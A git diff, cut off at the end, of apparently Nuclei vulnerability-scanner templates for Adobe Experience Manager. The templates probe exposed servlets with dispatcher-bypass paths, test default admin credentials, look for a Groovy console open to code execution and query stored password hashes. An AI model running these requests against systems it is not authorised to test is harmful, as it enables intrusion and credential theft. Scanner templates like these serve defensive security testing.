'{{BaseURL}}/.children.json?FNZ.css' + - '{{BaseURL}}/.children.json?FNZ.ico' + - '{{BaseURL}}/.children.json?FNZ.html' + - '{{BaseURL}}/.children.json/FNZ.css' + - '{{BaseURL}}/.children.json/FNZ.html' + - '{{BaseURL}}/.children.json/FNZ.png' + - '{{BaseURL}}/.children.json/FNZ.ico' + - '{{BaseURL}}/etc.json' + - '{{BaseURL}}/etc.1.json' + - '{{BaseURL}}/etc....4.2.1....json' + - '{{BaseURL}}/etc.json?FNZ.css' + - '{{BaseURL}}/etc.json?FNZ.ico' + - '{{BaseURL}}/etc.json?FNZ.html' + - '{{BaseURL}}/etc.json/FNZ.css' + - '{{BaseURL}}/etc.json/FNZ.html' + - '{{BaseURL}}/etc.json/FNZ.ico' + - '{{BaseURL}}/etc.children.json' + - '{{BaseURL}}/etc.children.1.json' + - '{{BaseURL}}/etc.children....4.2.1....json' + - '{{BaseURL}}/etc.children.json?FNZ.css' + - '{{BaseURL}}/etc.children.json?FNZ.ico' + - '{{BaseURL}}/etc.children.json?FNZ.html' + - '{{BaseURL}}/etc.children.json/FNZ.css' + - '{{BaseURL}}/etc.children.json/FNZ.html' + - '{{BaseURL}}/etc.children.json/FNZ.png' + - '{{BaseURL}}/etc.children.json/FNZ.ico' + - '{{BaseURL}}///etc.json' + - '{{BaseURL}}///etc.1.json' + - '{{BaseURL}}///etc....4.2.1....json' + - '{{BaseURL}}///etc.json?FNZ.css' + - '{{BaseURL}}///etc.json?FNZ.ico' + - '{{BaseURL}}///etc.json/FNZ.html' + - '{{BaseURL}}///etc.json/FNZ.png' + - '{{BaseURL}}///etc.json/FNZ.ico' + - '{{BaseURL}}///etc.children.json' + - '{{BaseURL}}///etc.children.1.json' + - '{{BaseURL}}///etc.children....4.2.1....json' + - '{{BaseURL}}///etc.children.json?FNZ.css' + - '{{BaseURL}}///etc.children.json?FNZ.ico' + - '{{BaseURL}}///etc.children.json?FNZ.html' + - '{{BaseURL}}///etc.children.json/FNZ.css' + - '{{BaseURL}}///etc.children.json/FNZ.html' + - '{{BaseURL}}///etc.children.json/FNZ.png' + - '{{BaseURL}}///etc.children.json/FNZ.ico' + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - 'jcr:createdBy' + condition: and diff --git a/poc/adobe/aem-default-get-servlet-138.yaml b/poc/adobe/aem-default-get-servlet-138.yaml new file mode 100644 index 0000000000..7186c2256f --- /dev/null +++ b/poc/adobe/aem-default-get-servlet-138.yaml @@ -0,0 +1,80 @@ +id: aem-default-get-servlet +info: + author: DhiyaneshDk + name: AEM DefaultGetServlet + severity: low + reference: https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43 + tags: aem + + +requests: + - method: GET + path: + - '{{BaseURL}}/.json' + - '{{BaseURL}}/.1.json' + - '{{BaseURL}}/....4.2.1....json' + - '{{BaseURL}}/.json?FNZ.css' + - '{{BaseURL}}/.json?FNZ.ico' + - '{{BaseURL}}/.json?FNZ.html' + - '{{BaseURL}}/.json/FNZ.css' + - '{{BaseURL}}/.json/FNZ.html' + - '{{BaseURL}}/.json/FNZ.png' + - '{{BaseURL}}/.json/FNZ.ico' + - '{{BaseURL}}/.children.1.json' + - '{{BaseURL}}/.children....4.2.1....json' + - '{{BaseURL}}/.children.json?FNZ.css' + - '{{BaseURL}}/.children.json?FNZ.ico' + - '{{BaseURL}}/.children.json?FNZ.html' + - '{{BaseURL}}/.children.json/FNZ.css' + - '{{BaseURL}}/.children.json/FNZ.html' + - '{{BaseURL}}/.children.json/FNZ.png' + - '{{BaseURL}}/.children.json/FNZ.ico' + - '{{BaseURL}}/etc.json' + - '{{BaseURL}}/etc.1.json' + - '{{BaseURL}}/etc....4.2.1....json' + - '{{BaseURL}}/etc.json?FNZ.css' + - '{{BaseURL}}/etc.json?FNZ.ico' + - '{{BaseURL}}/etc.json?FNZ.html' + - '{{BaseURL}}/etc.json/FNZ.css' + - '{{BaseURL}}/etc.json/FNZ.html' + - '{{BaseURL}}/etc.json/FNZ.ico' + - '{{BaseURL}}/etc.children.json' + - '{{BaseURL}}/etc.children.1.json' + - '{{BaseURL}}/etc.children....4.2.1....json' + - '{{BaseURL}}/etc.children.json?FNZ.css' + - '{{BaseURL}}/etc.children.json?FNZ.ico' + - '{{BaseURL}}/etc.children.json?FNZ.html' + - '{{BaseURL}}/etc.children.json/FNZ.css' + - '{{BaseURL}}/etc.children.json/FNZ.html' + - '{{BaseURL}}/etc.children.json/FNZ.png' + - '{{BaseURL}}/etc.children.json/FNZ.ico' + - '{{BaseURL}}///etc.json' + - '{{BaseURL}}///etc.1.json' + - '{{BaseURL}}///etc....4.2.1....json' + - '{{BaseURL}}///etc.json?FNZ.css' + - '{{BaseURL}}///etc.json?FNZ.ico' + - '{{BaseURL}}///etc.json/FNZ.html' + - '{{BaseURL}}///etc.json/FNZ.png' + - '{{BaseURL}}///etc.json/FNZ.ico' + - '{{BaseURL}}///etc.children.json' + - '{{BaseURL}}///etc.children.1.json' + - '{{BaseURL}}///etc.children....4.2.1....json' + - '{{BaseURL}}///etc.children.json?FNZ.css' + - '{{BaseURL}}///etc.children.json?FNZ.ico' + - '{{BaseURL}}///etc.children.json?FNZ.html' + - '{{BaseURL}}///etc.children.json/FNZ.css' + - '{{BaseURL}}///etc.children.json/FNZ.html' + - '{{BaseURL}}///etc.children.json/FNZ.png' + - '{{BaseURL}}///etc.children.json/FNZ.ico' + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - 'jcr:createdBy' + condition: and diff --git a/poc/adobe/aem-default-get-servlet-139.yaml b/poc/adobe/aem-default-get-servlet-139.yaml index 7186c2256f..274b345439 100644 --- a/poc/adobe/aem-default-get-servlet-139.yaml +++ b/poc/adobe/aem-default-get-servlet-139.yaml @@ -1,15 +1,26 @@ id: aem-default-get-servlet + info: - author: DhiyaneshDk name: AEM DefaultGetServlet + author: DhiyaneshDk severity: low - reference: https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43 - tags: aem - + description: Sensitive information might be exposed via AEM DefaultGetServlet. + reference: + - https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=43 + - https://github.com/thomashartm/burp-aem-scanner/blob/master/src/main/java/burp/actions/dispatcher/GetServletExposed.java + tags: aem,adobe requests: - method: GET path: + - '{{BaseURL}}/etc' + - '{{BaseURL}}/var' + - '{{BaseURL}}/apps' + - '{{BaseURL}}/home' + - '{{BaseURL}}///etc' + - '{{BaseURL}}///var' + - '{{BaseURL}}///apps' + - '{{BaseURL}}///home' - '{{BaseURL}}/.json' - '{{BaseURL}}/.1.json' - '{{BaseURL}}/....4.2.1....json' diff --git a/poc/adobe/aem-default-login-141.yaml b/poc/adobe/aem-default-login-140.yaml similarity index 100% rename from poc/adobe/aem-default-login-141.yaml rename to poc/adobe/aem-default-login-140.yaml diff --git a/poc/adobe/aem-default-login.yaml b/poc/adobe/aem-default-login.yaml deleted file mode 100644 index 8072025a73..0000000000 --- a/poc/adobe/aem-default-login.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: aem-default-login - -info: - name: Adobe AEM Default Login - author: random-robbie - severity: high - description: Adobe AEM default login credentials were discovered. - reference: - - https://experienceleague.adobe.com/docs/experience-manager-64/administering/security/security-checklist.html?lang=en - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - tags: aem,default-login,adobe - - -requests: - - raw: - - | - POST /libs/granite/core/content/login.html/j_security_check HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - Origin: {{BaseURL}} - Referer: {{BaseURL}}/libs/granite/core/content/login.html - - _charset_=utf-8&j_username={{aem_user}}&j_password={{aem_pass}}&j_validate=true - - attack: pitchfork - payloads: - aem_user: - - admin - - grios - - replication-receiver - - vgnadmin - - aem_pass: - - admin - - password - - replication-receiver - - vgnadmin - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: header - condition: and - words: - - login-token - - crx.default - -# Enhanced by mp on 2022/03/23 diff --git a/poc/adobe/aem-detection-145.yaml b/poc/adobe/aem-detection-145.yaml new file mode 100644 index 0000000000..bb3d7e0753 --- /dev/null +++ b/poc/adobe/aem-detection-145.yaml @@ -0,0 +1,28 @@ +id: aem-detection + +info: + name: Favicon based AEM Detection + author: shifacyclewala,hackergautam + severity: info + reference: + - https://twitter.com/brsn76945860/status/1171233054951501824 + - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a + - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139 + - https://github.com/devanshbatham/FavFreak + - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv + metadata: + shodan-query: http.component:"Adobe Experience Manager" + tags: aem,favicon,tech,adobe + +requests: + - method: GET + path: + - "{{BaseURL}}/libs/granite/core/content/login/favicon.ico" + + redirects: true + max-redirects: 2 + + matchers: + - type: dsl + dsl: + - "status_code==200 && (\"-144483185\" == mmh3(base64_py(body)))" diff --git a/poc/adobe/aem-detection-146.yaml b/poc/adobe/aem-detection-146.yaml deleted file mode 100644 index 421bb35f54..0000000000 --- a/poc/adobe/aem-detection-146.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: aem-detection - -info: - name: Favicon based AEM Detection - severity: info - author: shifacyclewala,hackergautam - tags: aem,favicon,tech - reference: - - https://twitter.com/brsn76945860/status/1171233054951501824 - - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a - - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139 - - https://github.com/devanshbatham/FavFreak - - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv - metadata: - shodan-query: http.component:"Adobe Experience Manager" - -requests: - - method: GET - path: - - "{{BaseURL}}/libs/granite/core/content/login/favicon.ico" - - redirects: true - max-redirects: 2 - - matchers: - - type: dsl - dsl: - - "status_code==200 && (\"-144483185\" == mmh3(base64_py(body)))" \ No newline at end of file diff --git a/poc/adobe/aem-gql-servlet-147.yaml b/poc/adobe/aem-gql-servlet-147.yaml index b4c553151b..36a597b300 100644 --- a/poc/adobe/aem-gql-servlet-147.yaml +++ b/poc/adobe/aem-gql-servlet-147.yaml @@ -1,46 +1,17 @@ id: aem-gql-servlet info: - author: dhiyaneshDk,prettyboyaaditya + author: DhiyaneshDk name: AEM GQLServlet severity: low reference: https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference-materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html tags: aem + requests: - method: GET path: - '{{BaseURL}}/bin/wcm/search/gql.json?query=type:User%20limit:..1&pathPrefix=&p.ico' - - '{{BaseURL}}/bin/wcm/search/gql.servlet.json?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}/bin/wcm/search/gql.json?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}/bin/wcm/search/gql.json/a.1.json?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}/bin/wcm/search/gql.json/a.4.2.1...json?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}/bin/wcm/search/gql.json/a.css?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}/bin/wcm/search/gql.json/a.js?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}/bin/wcm/search/gql.json/a.ico?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}/bin/wcm/search/gql.json/a.png?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}/bin/wcm/search/gql.json/a.html?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}///bin///wcm///search///gql.servlet.json?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}///bin///wcm///search///gql.json?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}///bin///wcm///search///gql.json///a.1.json?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}///bin///wcm///search///gql.json///a.4.2.1...json?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}///bin///wcm///search///gql.json///a.css?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}///bin///wcm///search///gql.json///a.ico?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}///bin///wcm///search///gql.json///a.png?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}///bin///wcm///search///gql.json///a.js?query=type:base%20limit:..1&pathPrefix=' - - '{{BaseURL}}///bin///wcm///search///gql.json///a.html?query=type:base%20limit:..1&pathPrefix=' - - stop-at-first-match: true matchers-condition: and matchers: - type: status diff --git a/poc/adobe/aem-gql-servlet-149.yaml b/poc/adobe/aem-gql-servlet-149.yaml new file mode 100644 index 0000000000..977dc70f75 --- /dev/null +++ b/poc/adobe/aem-gql-servlet-149.yaml @@ -0,0 +1,56 @@ +id: aem-gql-servlet + +info: + name: AEM GQLServlet + author: dhiyaneshDk,prettyboyaaditya + severity: low + reference: + - https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference-materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html + tags: aem + +requests: + - method: GET + path: + - '{{BaseURL}}/bin/wcm/search/gql.json?query=type:User%20limit:..1&pathPrefix=&p.ico' + - '{{BaseURL}}/bin/wcm/search/gql.servlet.json?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}/bin/wcm/search/gql.json?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}/bin/wcm/search/gql.json/a.1.json?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}/bin/wcm/search/gql.json/a.4.2.1...json?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}/bin/wcm/search/gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}/bin/wcm/search/gql.json/a.css?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}/bin/wcm/search/gql.json/a.js?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}/bin/wcm/search/gql.json/a.ico?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}/bin/wcm/search/gql.json/a.png?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}/bin/wcm/search/gql.json/a.html?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}///bin///wcm///search///gql.servlet.json?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}///bin///wcm///search///gql.json?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}///bin///wcm///search///gql.json///a.1.json?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}///bin///wcm///search///gql.json///a.4.2.1...json?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.css?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.js?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.html?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.png?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}///bin///wcm///search///gql.json;%0aa.ico?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}///bin///wcm///search///gql.json///a.css?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}///bin///wcm///search///gql.json///a.ico?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}///bin///wcm///search///gql.json///a.png?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}///bin///wcm///search///gql.json///a.js?query=type:base%20limit:..1&pathPrefix=' + - '{{BaseURL}}///bin///wcm///search///gql.json///a.html?query=type:base%20limit:..1&pathPrefix=' + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - 'excerpt' + - 'path' + - 'hits' + condition: and diff --git a/poc/adobe/aem-gql-servlet-150.yaml b/poc/adobe/aem-gql-servlet-150.yaml deleted file mode 100644 index 36a597b300..0000000000 --- a/poc/adobe/aem-gql-servlet-150.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: aem-gql-servlet - -info: - author: DhiyaneshDk - name: AEM GQLServlet - severity: low - reference: https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference-materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html - tags: aem - - -requests: - - method: GET - path: - - '{{BaseURL}}/bin/wcm/search/gql.json?query=type:User%20limit:..1&pathPrefix=&p.ico' - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - 'excerpt' - - 'path' - - 'hits' - condition: and diff --git a/poc/adobe/aem-groovyconsole-153.yaml b/poc/adobe/aem-groovyconsole-153.yaml new file mode 100644 index 0000000000..2d05325869 --- /dev/null +++ b/poc/adobe/aem-groovyconsole-153.yaml @@ -0,0 +1,37 @@ +id: aem-groovyconsole + +info: + name: AEM Groovy Console Discovery + author: Dheerajmadhukar + severity: critical + description: An Adobe Experience Manager Groovy console was discovered. This can possibly lead to remote code execution. + reference: + - https://hackerone.com/reports/672243 + - https://twitter.com/XHackerx007/status/1435139576314671105 + tags: aem,adobe + +requests: + - method: GET + path: + - "{{BaseURL}}/groovyconsole" + - "{{BaseURL}}/etc/groovyconsole.html" + headers: + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 + Accept-Language: en-US,en;q=0.9,hi;q=0.8 + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + words: + - "Groovy Console" + - "Run Script" + - "Groovy Web Console" + part: body + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/04/22 diff --git a/poc/adobe/aem-groovyconsole-155.yaml b/poc/adobe/aem-groovyconsole-155.yaml index 7cac692c6b..9709becc71 100644 --- a/poc/adobe/aem-groovyconsole-155.yaml +++ b/poc/adobe/aem-groovyconsole-155.yaml @@ -1,19 +1,30 @@ id: aem-groovyconsole + info: - name: AEM Groovy console exposed - author: d3sca + name: AEM Groovy console enabled + author: x86rd severity: critical - description: Groovy console is exposed. + description: Groovy console is exposed, RCE is possible. + reference: https://hackerone.com/reports/672243 tags: aem + requests: - method: GET path: - "{{BaseURL}}/groovyconsole" - - "{{BaseURL}}/groovyconsole.html" + - "{{BaseURL}}/api/groovyconsole" + - "{{BaseURL}}/aem/groovyconsole" + - "{{BaseURL}}/app/groovyconsole" + - "{{BaseURL}}/..%2f..%2f..%2fgroovyconsole" + - "{{BaseURL}}/..%2f..%2f..%2fapi/groovyconsole" + - "{{BaseURL}}/aem/..%2f..%2f..%2fgroovyconsole" + - "{{BaseURL}}/app/..%2f..%2f..%2fgroovyconsole" + headers: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9,hi;q=0.8 User-Agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Mobile Safari/537.36 + matchers-condition: and matchers: - type: word @@ -25,4 +36,4 @@ requests: condition: and - type: status status: - - 200 + - 200 \ No newline at end of file diff --git a/poc/adobe/aem-hash-querybuilder-159.yaml b/poc/adobe/aem-hash-querybuilder-159.yaml new file mode 100644 index 0000000000..cd202b5e1c --- /dev/null +++ b/poc/adobe/aem-hash-querybuilder-159.yaml @@ -0,0 +1,30 @@ +id: aem-hash-querybuilder + +info: + name: Query hashed password via QueryBuilder Servlet + author: DhiyaneshDk + severity: medium + reference: + - https://twitter.com/AEMSecurity/status/1372392101829349376 + tags: aem + +requests: + - raw: + - | + GET /bin/querybuilder.json.;%0aa.css?p.hits=full&property=rep:authorizableId&type=rep:User HTTP/1.1 + Host: {{Hostname}} + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - '"success":true' + - 'rep:password' + condition: and \ No newline at end of file diff --git a/poc/adobe/aem-hash-querybuilder-161.yaml b/poc/adobe/aem-hash-querybuilder-161.yaml deleted file mode 100644 index 50ae6efbd4..0000000000 --- a/poc/adobe/aem-hash-querybuilder-161.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: aem-hash-querybuilder - -info: - author: DhiyaneshDk - name: Query hashed password via QueryBuilder Servlet - severity: medium - reference: https://twitter.com/AEMSecurity/status/1372392101829349376 - tags: aem - -requests: - - raw: - - | - GET /bin/querybuilder.json.;%0aa.css?p.hits=full&property=rep:authorizableId&type=rep:User HTTP/1.1 - Host: {{Hostname}} - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 - Accept-Language: en-US,en;q=0.5 - Accept-Encoding: gzip, deflate - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - '"success":true' - - 'rep:password' - condition: and \ No newline at end of file diff --git a/poc/adobe/aem-hash-querybuilder.yaml b/poc/adobe/aem-hash-querybuilder.yaml index 577230cb2d..50ae6efbd4 100644 --- a/poc/adobe/aem-hash-querybuilder.yaml +++ b/poc/adobe/aem-hash-querybuilder.yaml @@ -1,17 +1,13 @@ id: aem-hash-querybuilder info: - name: Query hashed password via QueryBuilder Servlet author: DhiyaneshDk + name: Query hashed password via QueryBuilder Servlet severity: medium - reference: - - https://twitter.com/AEMSecurity/status/1372392101829349376 - metadata: - max-request: 1 - shodan-query: http.component:"Adobe Experience Manager" - tags: aem,misconfig + reference: https://twitter.com/AEMSecurity/status/1372392101829349376 + tags: aem -http: +requests: - raw: - | GET /bin/querybuilder.json.;%0aa.css?p.hits=full&property=rep:authorizableId&type=rep:User HTTP/1.1 @@ -30,6 +26,4 @@ http: words: - '"success":true' - 'rep:password' - condition: and - -# digest: 4b0a00483046022100ba9e4e7ef1ed32094d5f6dc266c88571cd6274e0ff5965996d3b49c8806bbcac022100fbd16313016104e93dc15147568fb6b14af5ecaa3b0d2661225487edb4c08342:922c64590222798bb761d5b6d8e72950 + condition: and \ No newline at end of file diff --git a/poc/adobe/aem-merge-metadata-servlet-174.yaml b/poc/adobe/aem-merge-metadata-servlet-172.yaml similarity index 100% rename from poc/adobe/aem-merge-metadata-servlet-174.yaml rename to poc/adobe/aem-merge-metadata-servlet-172.yaml diff --git a/poc/adobe/aem-merge-metadata-servlet.yaml b/poc/adobe/aem-merge-metadata-servlet.yaml deleted file mode 100644 index 0f174a63fe..0000000000 --- a/poc/adobe/aem-merge-metadata-servlet.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: aem-merge-metadata-servlet - -info: - author: DhiyaneshDk - name: AEM MergeMetadataServlet - severity: info - reference: https://speakerdeck.com/0ang3el/aem-hacker-approaching-adobe-experience-manager-webapps-in-bug-bounty-programs?slide=91 - tags: aem - - -requests: - - method: GET - path: - - '{{BaseURL}}/libs/dam/merge/metadata.html?path=/etc&.ico' - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - 'assetPaths' - condition: and diff --git a/poc/adobe/aem-querybuilder-feed-servlet-175.yaml b/poc/adobe/aem-querybuilder-feed-servlet-175.yaml new file mode 100644 index 0000000000..827a5cc897 --- /dev/null +++ b/poc/adobe/aem-querybuilder-feed-servlet-175.yaml @@ -0,0 +1,29 @@ +id: aem-querybuilder-feed-servlet + +info: + name: AEM QueryBuilder Feed Servlet + author: DhiyaneshDk + severity: info + reference: + - https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/querybuilder-predicate-reference.html + metadata: + max-request: 1 + shodan-query: http.component:"Adobe Experience Manager" + tags: aem,misconfig + +http: + - method: GET + path: + - '{{BaseURL}}/bin/querybuilder.feed' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - 'CQ Feed' + +# digest: 490a0046304402200099c78204d8d6fdb713afa017d4056a106160b6ff74ef762336ab653f3b7abb02206701704a4ea33453f4cf2e4f4f09fec4b64fd650d2adba38fca4d66b82419c4a:922c64590222798bb761d5b6d8e72950 diff --git a/poc/adobe/aem-querybuilder-feed-servlet-177.yaml b/poc/adobe/aem-querybuilder-feed-servlet-177.yaml index 4f840f4bca..b180cc6888 100644 --- a/poc/adobe/aem-querybuilder-feed-servlet-177.yaml +++ b/poc/adobe/aem-querybuilder-feed-servlet-177.yaml @@ -1,13 +1,13 @@ id: aem-querybuilder-feed-servlet info: - author: DhiyaneshDk name: AEM QueryBuilder Feed Servlet + author: DhiyaneshDk severity: info - reference: https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/querybuilder-predicate-reference.html + reference: + - https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/querybuilder-predicate-reference.html tags: aem - requests: - method: GET path: diff --git a/poc/adobe/aem-querybuilder-json-servlet-182.yaml b/poc/adobe/aem-querybuilder-json-servlet-182.yaml deleted file mode 100644 index 073fc99968..0000000000 --- a/poc/adobe/aem-querybuilder-json-servlet-182.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: aem-querybuilder-json-servlet - -info: - author: DhiyaneshDk - name: AEM QueryBuilder Json Servlet - severity: info - description: Sensitive information might be exposed via AEMs QueryBuilderServlet or QueryBuilderFeedServlet. - reference: - - https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/querybuilder-predicate-reference.html - - https://github.com/thomashartm/burp-aem-scanner/blob/master/src/main/java/burp/actions/dispatcher/QueryBuilderExposed.java - tags: aem,adobe - - -requests: - - method: GET - path: - - '{{BaseURL}}/bin/querybuilder.json' - - '{{BaseURL}}/bin/querybuilder.json.servlet' - - '{{BaseURL}}///bin///querybuilder.json' - - '{{BaseURL}}///bin///querybuilder.json.servlet' - - '{{BaseURL}}/bin/querybuilder.feed' - - '{{BaseURL}}/bin/querybuilder.feed.servlet' - - '{{BaseURL}}///bin///querybuilder.feed' - - ' {{BaseURL}}///bin///querybuilder.feed.servlet' - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "application/json" - part: header - - - type: word - words: - - 'success' - - 'results' - condition: and diff --git a/poc/adobe/aem-querybuilder-json-servlet-186.yaml b/poc/adobe/aem-querybuilder-json-servlet-186.yaml deleted file mode 100644 index 1ac26a526e..0000000000 --- a/poc/adobe/aem-querybuilder-json-servlet-186.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: aem-querybuilder-json-servlet - -info: - name: AEM QueryBuilder Json Servlet - author: DhiyaneshDk - severity: info - description: Sensitive information might be exposed via AEMs QueryBuilderServlet or QueryBuilderFeedServlet. - reference: - - https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/querybuilder-predicate-reference.html - - https://github.com/thomashartm/burp-aem-scanner/blob/master/src/main/java/burp/actions/dispatcher/QueryBuilderExposed.java - metadata: - max-request: 8 - shodan-query: http.component:"Adobe Experience Manager" - tags: aem,adobe,misconfig - -http: - - method: GET - path: - - '{{BaseURL}}/bin/querybuilder.json' - - '{{BaseURL}}/bin/querybuilder.json.servlet' - - '{{BaseURL}}///bin///querybuilder.json' - - '{{BaseURL}}///bin///querybuilder.json.servlet' - - '{{BaseURL}}/bin/querybuilder.feed' - - '{{BaseURL}}/bin/querybuilder.feed.servlet' - - '{{BaseURL}}///bin///querybuilder.feed' - - ' {{BaseURL}}///bin///querybuilder.feed.servlet' - - stop-at-first-match: true - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "application/json" - part: header - - - type: word - words: - - 'success' - - 'results' - condition: and - -# digest: 4a0a0047304502204622302d04c231f0e4e19c2e6650543f67b89b1a7180c14152a8a7cf2a5df1840221008db0ae31dbc522068081204274dd5abda67092d0569caf27d2385b8bb0ed7b62:922c64590222798bb761d5b6d8e72950 diff --git a/poc/adobe/aem-secrets.yaml b/poc/adobe/aem-secrets.yaml new file 